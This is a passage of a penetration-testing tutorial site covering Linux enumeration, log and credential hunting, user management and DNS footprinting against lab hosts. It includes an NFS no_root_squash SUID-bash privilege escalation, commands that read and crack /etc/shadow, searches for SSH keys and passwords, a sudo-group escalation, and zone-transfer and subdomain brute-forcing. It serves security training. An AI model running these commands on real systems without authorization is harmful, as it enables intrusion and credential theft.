(dangerous) /dev/tty # current terminal ``` ## NFS (Network File System) NFS shares are a common misconfiguration vector. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Enumerate NFS shares remotely showmount -e target.com # Mount a share mount -t nfs target.com:/share /mnt/nfs # no_root_squash misconfiguration # If enabled, files created as root locally are treated as root on the server # → Copy /bin/bash with SUID to the share cp /bin/bash /mnt/nfs/bash chmod +s /mnt/nfs/bash # On the target: /mnt/nfs/bash -p ``` NFS with `no_root_squash` is a critical misconfiguration that allows direct privilege escalation. Always check with `showmount` during enumeration. # System enumeration Source: https://hackbook.dudji.com/tech/linux/system-enumeration ## The Mindset * **Who am I?** — Your current user, privileges, and group memberships. * **Where am I?** — The OS, kernel, architecture, and how the system is set up. * **What's around me?** — Users, services, network, files, and misconfigurations. You cannot escalate privileges without first enumerating the system. If you're stuck, you haven't gathered enough information — step back and dig deeper. *** ## The Enumeration Checklist At minimum, collect the following before moving on: | Category | What to Gather | | ----------------------- | ------------------------------------------------------- | | **System Info** | OS version, kernel version, architecture, patches | | **User Info** | Current user, all users, sudo rights, group memberships | | **Network Info** | Interfaces, routing tables, active connections | | **Running Services** | Active processes, listening ports, scheduled tasks | | **File System** | Interesting files, permission issues, mounted drives | | **Installed Software** | Applications, versions, potential CVEs | | **Security Mechanisms** | Firewall rules, SELinux/AppArmor status | ## Who Am I? ### `whoami` — Current Username The most basic check. Always run this first on any new shell. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} whoami # cry0l1t3 ``` ### `id` — User Identity & Group Memberships This is `whoami` on steroids. It reveals your UID, GID, and every group you belong to. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} id # uid=1000(cry0l1t3) gid=1000(cry0l1t3) groups=1000(cry0l1t3),1337(hackthebox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev) ``` **Output breakdown:** ``` uid=1000(cry0l1t3) | | | +-- username +-- user ID gid=1000(cry0l1t3) | | | +-- group name (= username by default) +-- group ID (= UID by default) groups=1000(cry0l1t3), 27(sudo), 4(adm) ^ ^----------^ primary supplementary (same as gid) check for privesc ``` * **`uid`** — Your numeric user ID. `0` = root. `1000+` = regular user. * **`gid`** — Your primary group, usually created alongside your user account. * **`groups`** — Every group you belong to. This is what matters for privilege escalation. **What to look for in the output:** | Group | Why It Matters | | ------------- | --------------------------------------------------------------------- | | `sudo` | Can run commands as root — check `sudo -l` immediately | | `adm` | Can read logs in `/var/log` — a goldmine for credentials and activity | | `docker` | Can mount the host filesystem — trivial root escalation | | `lxd` / `lxc` | Container group — can be abused for root | | `disk` | Direct disk access — can read any file on the system | | `shadow` | Can read `/etc/shadow` — password hashes | Any non-standard group is worth investigating. Custom groups often grant access to specific applications or files that weren't locked down properly. *** ## Where Am I? — System Details All of the following answer the same question: *what exactly is this machine?* Run them together as a block. ### `hostname` — Machine Name ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} hostname # nixfund ``` Hostnames often reveal the machine's role (e.g., `db-prod-01`, `web-dev`, `dc01`). This context matters for lateral movement and understanding the environment. ### `uname` — Kernel & OS Information ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Full system information uname -a # Linux box 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux # Kernel release only (best for exploit searching) uname -r # 4.15.0-99-generic ``` **`uname -a` output breakdown:** ``` Linux box 4.15.0-99-generic #100-Ubuntu SMP ... x86_64 | | | | | Kernel name Hostname Kernel release Kernel version Architecture ``` Take `uname -r` output and search it directly: `searchsploit linux kernel 4.15.0` or Google `"4.15.0-99-generic exploit"`. An unpatched kernel is often a direct path to root. ### `/etc/os-release` — OS Name & Version ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} cat /etc/os-release # NAME="Ubuntu" # VERSION="20.04.1 LTS (Focal Fossa)" # ID=ubuntu ``` ### `/proc/version` — Kernel + Compiler Info ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} cat /proc/version # Linux version 4.15.0-99-generic (buildd@lgw01-amd64-003) (gcc version 7.5.0 ...) ``` ### `lscpu` — CPU Architecture ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} lscpu | grep -E "Architecture|CPU|Thread|Core" ``` ### `pwd` — Current Working Directory ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} pwd # /home/cry0l1t3 ``` *** ## Who Else Is Here? ### All Users on the System ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All users with a shell (potential targets for lateral movement) cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1,3,6,7 # Or list home directories ls /home/ ``` ### Currently Logged-In Users ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} who w # more detailed — shows what each user is doing last # login history ``` ### Sudo Rights ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} sudo -l # Check every entry against GTFOBins: https://gtfobins.github.io/ ``` *** ## Environment & Path ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Full environment — look for credentials, tokens, and paths env # Or printenv printenv ``` **Things to look for in the environment:** * `PATH` entries pointing to writable directories (PATH hijacking) * `AWS_*`, `DOCKER_*`, `TOKEN`, `KEY`, `SECRET` variables * `HISTFILE` location — command history can contain credentials *** *Next: [Finding Files & Directories](/tech/linux/filesystem-navigation) — hunting config files, credentials, and interesting artifacts.* # System logs Source: https://hackbook.dudji.com/tech/linux/system-logs ## The Mindset System logs matter to a pentester from two angles: * **Offensive** — Logs contain credentials, activity trails, internal hostnames, and evidence of what's running on the system * **Defensive awareness** — Understanding what gets logged tells you what traces you're leaving behind Every action you take on a compromised system is potentially being logged somewhere. Know what those sources are. *** ## Log Locations Overview | Log File | What It Records | | ----------------------------- | ---------------------------------------------------------- | | `/var/log/auth.log` | SSH logins, sudo usage, PAM authentication (Debian/Ubuntu) | | `/var/log/secure` | Same as auth.log on RHEL/CentOS | | `/var/log/syslog` | General system events, service starts/stops, cron | | `/var/log/kern.log` | Kernel messages, hardware events, driver issues | | `/var/log/messages` | General messages (RHEL/CentOS equivalent of syslog) | | `/var/log/dpkg.log` | Package installs and removals | | `/var/log/apache2/access.log` | HTTP requests to Apache | | `/var/log/apache2/error.log` | Apache errors — often reveals paths and configs | | `/var/log/nginx/access.log` | HTTP requests to Nginx | | `/var/log/mysql/error.log` | MySQL errors and startups | | `/var/log/postgresql/` | PostgreSQL activity | | `/var/log/fail2ban.log` | Blocked IPs, ban events | | `/var/log/ufw.log` | Firewall allow/deny events | | `/var/log/mail.log` | Mail server activity | | `/var/log/journal/` | Systemd journal (binary — read with `journalctl`) | *** ## Reading Logs ### Basic Log Reading ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Read a full log cat /var/log/syslog # Last 50 lines (most recent activity) tail -50 /var/log/auth.log # Follow in real time tail -f /var/log/auth.log # First 20 lines head -20 /var/log/syslog # Page through a large log less /var/log/syslog ``` ### Filtering Log Output ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Search for a specific string grep "Failed password" /var/log/auth.log # Case-insensitive search grep -i "error" /var/log/syslog # Show lines around a match (context) grep -A 3 -B 3 "authentication failure" /var/log/auth.log # Filter by date grep "May 20" /var/log/auth.log # Count occurrences grep "Failed password" /var/log/auth.log | wc -l ``` *** ## Authentication Logs `/var/log/auth.log` (Debian/Ubuntu) or `/var/log/secure` (RHEL/CentOS) is the most valuable log for a pentester. It records every login attempt, sudo command, and session event. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} cat /var/log/auth.log ``` **What to look for:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Successful SSH logins — who logged in and from where grep "Accepted" /var/log/auth.log # Feb 28 18:15:01 sshd[5678]: Accepted publickey for admin from 10.14.15.2 port 43210 # Failed login attempts — brute force evidence, valid usernames grep "Failed password" /var/log/auth.log # Feb 28 15:04:22 sshd[3010]: Failed password for htb-student from 10.14.15.2 port 50223 # Sudo commands run — what privileged actions were taken grep "sudo" /var/log/auth.log # Feb 28 18:15:03 sudo: admin : TTY=pts/1 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/bash # New sessions created grep "session opened" /var/log/auth.log # su usage — user switching grep "session opened for user" /var/log/auth.log ``` **Pentest intel from auth.log:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All unique IPs that attempted to log in grep "Failed password\|Accepted" /var/log/auth.log | grep -oE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" | sort -u # All usernames that were attempted (valid + invalid) grep "Failed password" /var/log/auth.log | awk '{print $9}' | sort | uniq -c | sort -rn # All commands run via sudo grep "COMMAND" /var/log/auth.log | awk -F"COMMAND=" '{print $2}' | sort -u ``` *** ## System Logs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} cat /var/log/syslog | tail -100 ``` **What to look for:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Cron job execution — what ran and when grep "CRON" /var/log/syslog # Feb 28 15:00:01 server CRON[2715]: (root) CMD (/usr/local/bin/backup.sh) # Service starts and stops grep "systemd\[1\]" /var/log/syslog | grep -E "Started|Stopped|Failed" # Network events grep "NetworkManager\|dhclient" /var/log/syslog # Errors and warnings grep -E "error|warning|failed" /var/log/syslog -i | tail -30 ``` Cron entries in syslog show you exactly what scripts run as root and when — cross-reference with the actual scripts to find hijack opportunities. *** ## Kernel Logs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} cat /var/log/kern.log | tail -50 # Also accessible via dmesg dmesg | tail -50 dmesg | grep -i "error\|fail\|usb\|eth" ``` **What to look for:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Driver and hardware issues (may reveal kernel version weaknesses) grep -i "error\|fail" /var/log/kern.log # USB device connections (removable media activity) dmesg | grep -i "usb\|storage" # Network interface events dmesg | grep -i "eth\|wlan\|link" # Out-of-memory events (reveals memory pressure — useful for DoS research) grep "Out of memory\|oom" /var/log/kern.log ``` *** ## Application Logs ### Web Server Logs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Apache access log — every HTTP request cat /var/log/apache2/access.log | tail -50 # Apache error log — application errors, path disclosures cat /var/log/apache2/error.log | tail -50 # Nginx cat /var/log/nginx/access.log | tail -50 cat /var/log/nginx/error.log | tail -50 ``` **Hunting credentials in web logs:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Credentials passed in GET parameters (bad practice but it happens) grep -E "password=|passwd=|pass=|token=|key=|secret=" /var/log/apache2/access.log # POST data isn't logged by default, but errors sometimes expose it grep -i "password\|credential" /var/log/apache2/error.log # User agents — identify tools used against this server awk '{print $12}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -20 # Most active IPs awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -20 ``` ### Database Logs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # MySQL errors (connection attempts, auth failures) cat /var/log/mysql/error.log # PostgreSQL logs ls /var/log/postgresql/ cat /var/log/postgresql/postgresql-*-main.log | tail -50 ``` *** ## Systemd Journal On modern systems, many logs go to the systemd journal instead of flat files. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All logs (most recent first) journalctl -r # Logs for a specific service journalctl -u ssh.service journalctl -u apache2.service journalctl -u cron.service # Logs since last boot journalctl -b # Logs from a specific time window journalctl --since "2024-01-01 00:00" --until "2024-01-01 23:59" # Follow in real time journalctl -f # Show only errors journalctl -p err # Without pager (pipe-friendly) journalctl -u ssh --no-pager | grep "Accepted" ``` *** ## Security Logs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Fail2ban — which IPs got banned and for what cat /var/log/fail2ban.log grep "Ban\|Unban" /var/log/fail2ban.log | tail -20 # UFW firewall events cat /var/log/ufw.log | tail -50 grep "BLOCK" /var/log/ufw.log | awk '{print $12}' | sort | uniq -c | sort -rn # AppArmor denials (processes hitting security boundaries) grep "DENIED\|apparmor" /var/log/syslog | tail -20 # Audit daemon (if auditd is running) cat /var/log/audit/audit.log 2>/dev/null | tail -50 ausearch -k passwd_changes 2>/dev/null # Search audit log by key ``` *** ## Log Analysis for Pentesters ### Reconstructing What Happened ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Timeline of all auth events for a specific user grep "htb-student" /var/log/auth.log | sort # What commands did admin run via sudo today? grep "sudo.*admin\|admin.*sudo" /var/log/auth.log | grep "COMMAND" # What connected to this machine in the last hour? grep "Accepted\|Failed" /var/log/auth.log | tail -100 # What services restarted recently? grep "Started\|Stopped" /var/log/syslog | tail -30 # Any privilege escalation attempts? grep "su\[" /var/log/auth.log grep "sudo" /var/log/auth.log | grep -v "session\|pam" ``` ### Finding Cleartext Credentials in Logs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Broad credential search across all readable logs grep -rE "password|passwd|secret|token|credential|api.key" /var/log/ 2>/dev/null | grep -v "^Binary" # FTP credentials (often logged in plaintext) grep -i "pass\|user" /var/log/vsftpd.log 2>/dev/null # SMTP AUTH credentials grep -i "AUTH\|LOGIN" /var/log/mail.log 2>/dev/null ``` *Next: [Linux Security & Hardening](/tech/linux/security-hardening) — understanding SELinux, AppArmor, TCP Wrappers, and the defenses you'll encounter on hardened systems.* # User management Source: https://hackbook.dudji.com/tech/linux/user-management ## The Mindset Once you're on a box, user enumeration answers critical questions: * **Who else is here?** — Other user accounts are lateral movement targets * **What privileges do I have?** — Sudo rights, special groups, weak configs * **Where are the credentials?** — `/etc/shadow`, history files, config files * **Who can I become?** — `su`, `sudo`, token impersonation *** ## The Key Files ### `/etc/passwd` — User Account Database Readable by everyone. Contains all user accounts on the system. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} cat /etc/passwd ``` Each line follows this format: ``` cry0l1t3 : x : 1000 : 1000 : : /home/cry0l1t3 : /bin/bash │ │ │ │ │ │ │ Username Pwd UID GID Comment Home directory Shell ``` | Field | Description | Pentest Relevance | | -------- | ----------------------------- | ---------------------------------------- | | Username | Account name | Lateral movement target | | Password | `x` = stored in `/etc/shadow` | If not `x` → hash is right here | | UID | User ID — `0` = root | Any UID 0 account = root | | GID | Primary group ID | Group membership | | Comment | Full name or description | Recon info | | Home dir | User's home directory | Where to hunt for files | | Shell | Login shell | `nologin`/`false` = no interactive login | **Useful one-liners against `/etc/passwd`:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All users with an interactive shell (real accounts) cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1 # Any account with UID 0 (root-level) besides root itself awk -F: '$3 == 0 {print $1}' /etc/passwd # All home directories cat /etc/passwd | cut -d: -f1,6 | grep -v "nologin\|false" # Clean formatted table of users, UIDs, and shells cat /etc/passwd | grep -v "nologin\|false" | tr ":" " " | awk '{print $1, $3, $NF}' | column -t ``` *** ### `/etc/shadow` — Password Hashes Only readable by root. Contains the actual password hashes for all accounts. Getting here is a major milestone. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Requires root or sudo sudo cat /etc/shadow ``` Each line format: ``` cry0l1t3:$6$wBRzy$...HASH...:18395:0:99999:7::: │ │ │ │ │ Username Hash (+ algo) Last Min Max change age age ``` **Hash algorithm prefixes:** | Prefix | Algorithm | | --------------- | ------------------------------------- | | `$1$` | MD5 (weak) | | `$2a$` / `$2b$` | bcrypt | | `$5$` | SHA-256 | | `$6$` | SHA-512 (most common on modern Linux) | | `!` or `*` | Account locked — no password login | **Once you have hashes, crack them:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Unshadow (combine passwd + shadow for John) unshadow /etc/passwd /etc/shadow > hashes.txt # Crack with John the Ripper john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Crack with Hashcat (SHA-512 = mode 1800) hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt ``` *** ### `/etc/group` — Group Definitions ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} cat /etc/group # Format: group_name:password:GID:members # sudo:x:27:cry0l1t3,htb-student ``` **High-value groups to look for:** | Group | Why It Matters | | ---------------- | ------------------------------------ | | `sudo` / `wheel` | Can run commands as root | | `adm` | Can read logs in `/var/log` | | `shadow` | Can read `/etc/shadow` | | `docker` | Mount host filesystem → instant root | | `lxd` / `lxc` | Container escape → root | | `disk` | Raw disk access → read any file | | `video` | Can capture screen framebuffer | | `staff` | Can write to `/usr/local` | *** ## Current User Enumeration ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Who am I? whoami # Full identity — UID, GID, all groups id # My sudo rights — check EVERY entry against GTFOBins sudo -l # My environment — look for tokens, keys, writable PATH entries env # My command history — users type passwords here all the time cat ~/.bash_history cat ~/.zsh_history 2>/dev/null # My SSH keys ls -la ~/.ssh/ cat ~/.ssh/id_rsa 2>/dev/null cat ~/.ssh/authorized_keys 2>/dev/null ``` *** ## All Users on the System ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Interactive users (real login accounts) cat /etc/passwd | grep -v "nologin\|false\|sync" # All home directories (even if the user account is deleted) ls -la /home/ # Who is currently logged in who w # Login history last lastlog | grep -v "Never" ``` *** ## Switching & Executing as Another User ### `su` — Switch User ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Switch to another user (need their password) su cry0l1t3 # Switch to root su - # Run a single command as another user su -c "whoami" cry0l1t3 ``` ### `sudo` — Execute as Another User ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Run a command as root sudo # Run as a specific user sudo -u www-data /bin/bash # List what you can run sudo -l # Shell as root (if permitted) sudo /bin/bash # Both achieve a root login shell, but differently: # su - → authenticates as root using root's password (disabled by default on Ubuntu) # sudo su - → authenticates as yourself, then sudo spawns a root shell (works if you're in the sudo group) sudo su - ``` **Reading `sudo -l` output:** ``` User cry0l1t3 may run the following commands on box: (root) NOPASSWD: /usr/bin/vim # │ │ │ # Runas No password Allowed binary # user needed ``` Any `NOPASSWD` entry is an immediate privesc vector. Check GTFOBins for the binary listed. `(ALL : ALL) ALL` means the user can run any command as any user — they effectively have root. `(ALL) NOPASSWD: ALL` is the same but without needing a password. *** ## User Management Commands These are useful to know both for administration and for understanding what happened on a compromised box: | Command | Description | | ------------------------- | ------------------------ | | `useradd ` | Create a new user | | `userdel ` | Delete a user | | `usermod -aG sudo ` | Add user to a group | | `passwd ` | Change a user's password | | `addgroup ` | Create a new group | | `delgroup ` | Delete a group | **Adding yourself to a privileged group (if you have write access to `/etc/group`):** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check if /etc/group is writable (rare but happens) ls -la /etc/group # If writable — add yourself to sudo group usermod -aG sudo $(whoami) # Or edit directly sed -i 's/^sudo:.*/&,cry0l1t3/' /etc/group ``` *** ## Hunting Credentials Across the System With user enumeration complete, pivot to credential hunting: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # History files for all users (need root for other users' home dirs) find /home -name ".*history" 2>/dev/null -exec cat {} \; # SSH private keys across the system find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null # Check for password reuse — try cracked passwords on all accounts su - # try with cracked password # Any .pgpass, .my.cnf, .netrc files (stored credentials) find /home /root -name ".pgpass" -o -name ".my.cnf" -o -name ".netrc" 2>/dev/null | xargs cat ``` *** *Next: [Process & Service Management](/tech/linux/processes-services) — enumerating running processes, services, and cron jobs to find attack surface.* # Dns Source: https://hackbook.dudji.com/tech/services/dns # DNS > DNS is the phone book of the internet — and a misconfigured DNS server will happily read you every entry, including the ones meant to stay internal. Zone transfers, version disclosure, and subdomain brute-forcing turn a name server into a map of the target's infrastructure. **Protocol:** UDP (sometimes TCP) · **Port:** 53 *** ## What Is DNS? DNS (Domain Name System) resolves computer names into IP addresses. There's no central database — it's a massive distributed system, like a library full of phone books where each server is responsible for its own section and refers you elsewhere for the rest. DNS is mostly **unencrypted**, which means queries can be intercepted and spied on. That privacy gap drove the creation of encrypted variants you'll occasionally encounter: **DNS over TLS (DoT)**, **DNS over HTTPS (DoH)**, and **DNSCrypt**. *** ## Default Configuration All DNS servers work with three types of configuration files: * **Local DNS configuration files** * **Zone files** * **Reverse name resolution files** On Linux, the most common DNS server is **BIND9**. Its local configuration files are usually: * `named.conf.local` * `named.conf.options` * `named.conf.log` ### Local DNS Configuration The `named.conf` files define the server's zones and behavior. A typical local zone definition looks like this: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # /etc/bind/named.conf.local zone "inlanefreight.htb" { type master; file "/etc/bind/db.inlanefreight.htb"; allow-update { none; }; }; ``` Zones are divided into individual files, each generally intended for one domain. A **zone file** is a text file describing a DNS zone in the BIND format. ### Zone Files A zone file describes a zone completely. It must contain exactly one **SOA** (Start of Authority) record and at least one **NS** (Name Server) record. The SOA record sits at the top: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} $TTL 3600 @ IN SOA ns1.inlanefreight.htb. admin.inlanefreight.htb. ( 2024061301 ; Serial 3600 ; Refresh 1800 ; Retry 604800 ; Expire 86400 ) ; Minimum TTL @ IN NS ns1.inlanefreight.htb. @ IN A 10.129.14.128 ns1 IN A 10.129.14.128 www IN A 10.129.14.128 ``` ### Reverse Name Resolution Zone Files For an IP address to be resolved back to its Fully Qualified Domain Name (FQDN), the DNS server needs a **reverse lookup file**. These use `PTR` records mapping addresses back to names: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} 128 IN PTR www.inlanefreight.htb. ``` *** ## Dangerous Settings A DNS server can be attacked in many ways. Known vulnerabilities for BIND9 are catalogued at [CVEdetails](https://www.cvedetails.com/product/144/ISC-Bind.html), and [SecurityTrails](https://securitytrails.com/blog/most-popular-types-dns-attacks) maintains a list of the most popular DNS attack types. The settings most relevant to a pentester are the ones that control who is allowed to query, transfer, and update zones: | Setting | Risk | | ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | | `allow-query` | Defines who can send queries. Set too broadly, it exposes records to anyone | | `allow-recursion` | Allows recursive queries — an open resolver can be abused for amplification attacks | | `allow-transfer` | **The big one** — defines who can request a full zone transfer (AXFR). Set to `any` or a wide subnet, it hands the entire zone to an attacker | | `allow-update` | Defines who can dynamically modify zone records | `allow-transfer { any; };` is the classic misconfiguration. It lets anyone pull the complete zone file — every hostname, internal IP, and subdomain the server knows about — in a single request. *** ## Footprinting the Service Footprinting DNS is all about the requests you send and what the server is willing to disclose in response. The workhorse tool is `dig`. ### NS Query — Find the Name Servers Start by asking the server which name servers it knows about. The `NS` record reveals them, and the `@` character specifies which DNS server to query: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} dig NS inlanefreight.htb @10.129.14.128 ``` ``` ; <<>> DiG 9.16.1-Ubuntu <<>> NS inlanefreight.htb @10.129.14.128 ;; ANSWER SECTION: inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb. ;; ADDITIONAL SECTION: ns.inlanefreight.htb. 604800 IN A 10.129.14.128 ``` If other name servers exist, you can query them too. ### Version Query Sometimes you can fish the server's version out of a **CHAOS class, TXT type** query. The entry has to exist on the server for this to work, but when it does, it's free version intel for CVE matching: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} dig CH TXT version.bind @10.129.14.128 ``` ``` ;; ANSWER SECTION: version.bind. 0 CH TXT "9.16.1-Ubuntu" ``` ### ANY Query — Show Everything The `ANY` option asks the server to return every record it's willing to disclose. Note that not all entries from a zone will necessarily show up: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} dig ANY inlanefreight.htb @10.129.14.128 ``` ``` ;; ANSWER SECTION: inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb. inlanefreight.htb. 604800 IN A 10.129.14.128 inlanefreight.htb. 604800 IN MX 10 mail1.inlanefreight.htb. inlanefreight.htb. 604800 IN TXT "v=spf1 include:inlanefreight.htb ..." ``` ### AXFR Zone Transfer — The Jackpot A **zone transfer** copies a zone from one server to another, normally over **TCP port 53**. The procedure is abbreviated **AXFR** (Asynchronous Full Transfer Zone). Servers normally authenticate each other with a shared secret (the `rndc-key` you'd see in the config), but if `allow-transfer` is misconfigured, anyone can request the whole zone: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} dig AXFR inlanefreight.htb @10.129.14.128 ``` ``` ;; ANSWER SECTION: inlanefreight.htb. SOA ns.inlanefreight.htb. ... inlanefreight.htb. NS ns.inlanefreight.htb. inlanefreight.htb. A 10.129.14.128 ns.inlanefreight.htb. A 10.129.14.128 www.inlanefreight.htb. A 10.129.14.128 mail1.inlanefreight.htb. A 10.129.18.201 dev.inlanefreight.htb. A 10.129.18.230 internal.inlanefreight.htb. A 10.129.1.6 ``` That single command just handed you every hostname and IP the server knows — including internal ones. ### AXFR Across Subdomains If the administrator set `allow-transfer` to a subnet or to `any`, you can query the entire zone file — and pivot to other zones, which may expose internal IP addresses and hostnames you wouldn't otherwise see: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} dig AXFR internal.inlanefreight.htb @10.129.14.128 ``` ### Subdomain Brute-Forcing When zone transfer is locked down, you can still discover individual `A` records by brute-forcing hostnames against a wordlist. **SecLists** provides good ones. A simple Bash for-loop sends a query per candidate and keeps the hits: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} for sub in $(cat /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt); do dig $sub.inlanefreight.htb @10.129.14.128 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt done ``` Most dedicated tools work the same way under the hood. **DNSenum** is a common one: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} dnsenum --dnsserver 10.129.14.128 --enum -p 0 -s 0 -o subdomains.txt \ -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt inlanefreight.htb ``` ``` dnsenum VERSION:1.2.6 ----- inlanefreight.htb ----- Brute forcing with /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt: __________________________________________________________________ ns.inlanefreight.htb. 604800 IN A 10.129.14.128 mail1.inlanefreight.htb. 604800 IN A 10.129.18.201 www.inlanefreight.htb. 604800 IN A 10.129.14.128 dev.inlanefreight.htb. 604800 IN A 10.129.18.230 ``` *** ## Quick Reference | Command | Purpose | | ----------------------------------------------------- | ---------------------------- | | `dig NS @` | List the zone's name servers | | `dig CH TXT version.bind @` | Disclose the BIND version | | `dig ANY @` | Show all disclosable records | | `dig AXFR @` | Attempt a full zone transfer | | `dnsenum --dnsserver -f ` | Brute-force subdomains | **The footprinting flow:** NS query → version query → ANY query → attempt AXFR → fall back to subdomain brute-forcing if AXFR is refused. *** *Next: [FTP](/tech/services/ftp) — anonymous logins, banner grabbing, and pulling files off misconfigured file servers.* # Ftp Source: https://hackbook.dudji.com/tech/services/ftp # FTP > FTP is one of the oldest services you'll meet on an 